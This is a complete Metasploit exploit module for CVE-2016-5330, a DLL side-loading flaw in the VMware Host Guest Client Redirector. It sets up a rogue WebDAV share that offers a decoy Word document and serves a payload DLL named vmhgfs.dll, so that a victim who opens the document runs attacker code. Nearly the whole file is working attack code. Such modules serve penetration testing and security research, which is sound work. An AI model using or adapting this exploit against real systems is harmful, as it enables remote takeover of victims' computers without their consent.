require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
'Description' => %q{
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
a component of VMware Tools. This issue can be exploited by luring a victim into
opening a document from the attacker's share. An attacker can exploit this issue to
execute arbitrary code with the privileges of the target user. This can potentially
result in the attacker taking complete control of the affected system. If the WebDAV
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5330'],
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', {'Arch' => ARCH_X86_64,} ],
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 5 2016',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
], self.class)
# no SSL
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /vmhgfs\.dll$/i)
print_status("GET => DLL Payload (#{request.uri})")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if (request.uri =~ /\.docx$/i)
print_status("GET => DOCX (#{request.uri})")
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
return
end
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
print_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q||
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
print_status("GET => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
print_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|
#{path}
#{gen_datestamp}
#{rand(0x100000)+128000}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
T
application/octet-stream
HTTP/1.1 200 OK
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|
#{path}
#{gen_datestamp}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
httpd/unix-directory
HTTP/1.1 200 OK
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << ""
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
#{path}#{share_name}/
#{gen_datestamp}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
httpd/unix-directory
HTTP/1.1 200 OK
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
%Q|
#{path}#{datastore['BASENAME']}.docx
#{gen_datestamp}
#{rand(0x10000)+120}
#{gen_timestamp}
"#{"%.16x" % rand(0x100000000)}"
T
application/octet-stream
HTTP/1.1 200 OK
|
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
def exploit
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
super
end
end